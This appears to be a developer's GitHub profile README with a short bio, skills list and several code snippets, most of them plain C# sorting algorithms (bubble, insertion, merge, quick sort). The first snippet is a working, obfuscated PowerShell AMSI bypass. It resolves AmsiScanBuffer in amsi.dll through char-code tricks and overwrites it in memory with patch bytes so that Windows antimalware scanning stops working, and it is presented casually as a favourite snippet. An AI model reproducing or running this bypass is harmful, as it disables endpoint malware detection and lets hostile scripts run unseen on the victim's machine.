I'm a Full Stack Developer with expertise in MERN, MEAN, Android, Blockchain technologies and Web 3D/WebGL development. I’m passionate about building decentralized applications and engaging interactive experiences on the web. h3> - Languages: JavaScript, TypeScript, Solidity, HTML/CSS - Frameworks/Libraries: React, Node.js, Three.js, Express - Technologies: Blockchain, Ethereum, IPFS, WebGL, WebXR - Telegram (@chainsaw1103) - Discord (_megaft)
💗 My Favorites Techs:
### 💾 Code Snippets
## 🌐 Redes sociales
I enjoy exploring new technologies and experimenting with different tools. Here are some of my favorite code snippets.
$_class = @"
using System;
using System.Runtime.InteropServices;
public class _class {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr lnsgbs, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $_class
$kkkk = 0
$jjjj = [_class]::LoadLibrary("$(('àmsì'+'.dll').nORMaLiZe([chAR]([bYTE]0x46)+[chAr]([BYTE]0x6f)+[chAR]([bYte]0x72)+[chAR]([Byte]0x6d)+[cHar](68*38/38)) -replace [chAr]([byTE]0x5c)+[char](112*87/87)+[ChaR](94+29)+[CHAR](64+13)+[CHAr]([bytE]0x6e)+[CHAR](58+67))")# Replaces FormD characters with FormC characters
$iiii = [_class]::GetProcAddress($jjjj, "$([char](6+59)+[char]([byte]0x6d)+[char](115*58/58)+[char](105+63-63)+[char](83)+[char](96+3)+[char](97)+[char](100+10)+[char](66*20/20)+[char](117)+[char](102*29/29)+[char]([byte]0x66)+[char]([byte]0x65)+[char](114+76-76))") # Get the address of the function with ProcAddress
[_class]::VirtualProtect($iiii, [uint32]5, 0x40, [ref]$kkkk)
$aaaa = "0x"
$cccc = $aaaa + "B"
$gggg = $aaaa + "5"
$cccc = $cccc + "8"
$ffff = $aaaa + "0"
$gggg = $gggg + "7"
$ffff = $ffff + "0"
$dddd = $aaaa + "8"
$eeee = $aaaa + "0"
$eeee = $eeee + "7"
$bbbb = $aaaa + "C"
$dddd = $dddd + "0"
$bbbb = $bbbb + "3"
$hhhh = [byte[]] ($cccc,$gggg,$ffff,$eeee,+$dddd,+$bbbb)
[System.Runtime.InteropServices.Marshal]::Copy($hhhh, 0, $iiii, 6)A simple powershell script to break the AMSI chain.
public static class BubbleSort
{
public static void Execute(int[] data)
{
int n = data.Length;
for (int i = 0; i < n - 1; i++)
{
for (int j = 0; j < n - i - 1; j++)
{
if (data[j] <= data[j + 1])
{
continue;
}
(data[j], data[j + 1]) = (data[j + 1], data[j]);
}
}
}
}A simple C# implementation of the bubble sort algorithm.
public static class InsertionSort
{
public static void Execute(int[] data)
{
int n = data.Length;
for (int i = 1; i < n; ++i)
{
int key = data[i];
int j = i - 1;
while (j >= 0 && data[j] > key)
{
data[j + 1] = data[j];
j = j - 1;
}
data[j + 1] = key;
}
}
}A simple C# implementation of the insertion sort algorithm.
public static class MergeSort
{
public static void Execute(int[] data)
{
int n = data.Length;
int[] temp = new int[n];
Sort(data, temp, 0, n - 1);
}
private static void Sort(int[] data, int[] temp, int left, int right)
{
if (left >= right)
{
return;
}
int mid = (left + right) / 2;
Sort(data, temp, left, mid);
Sort(data, temp, mid + 1, right);
Merge(data, temp, left, mid, right);
}
private static void Merge(int[] data, int[] temp, int left, int mid, int right)
{
int i = left;
int j = mid + 1;
int k = left;
while (i <= mid && j <= right)
{
if (data[i] <= data[j])
{
temp[k] = data[i];
i++;
}
else
{
temp[k] = data[j];
j++;
}
k++;
}
while (i <= mid)
{
temp[k] = data[i];
i++;
k++;
}
while (j <= right)
{
temp[k] = data[j];
j++;
k++;
}
for (k = left; k <= right; k++)
{
data[k] = temp[k];
}
}
}A simple C# implementation of the merge sort algorithm.
public static class QuickSort
{
public static void Execute(int[] data)
{
int n = data.Length;
Sort(data, 0, n - 1);
}
private static void Sort(int[] data, int left, int right)
{
if (left >= right)
{
return;
}
int pivot = data[(left + right) / 2];
int index = Partition(data, left, right, pivot);
Sort(data, left, index - 1);
Sort(data, index, right);
}
private static int Partition(int[] data, int left, int right, int pivot)
{
while (left <= right)
{
while (data[left] < pivot)
{
left++;
}
while (data[right] > pivot)
{
right--;
}
if (left <= right)
{
(data[left], data[right]) = (data[right], data[left]);
left++;
right--;
}
}
return left;
}
}A simple C# implementation of the quick sort algorithm.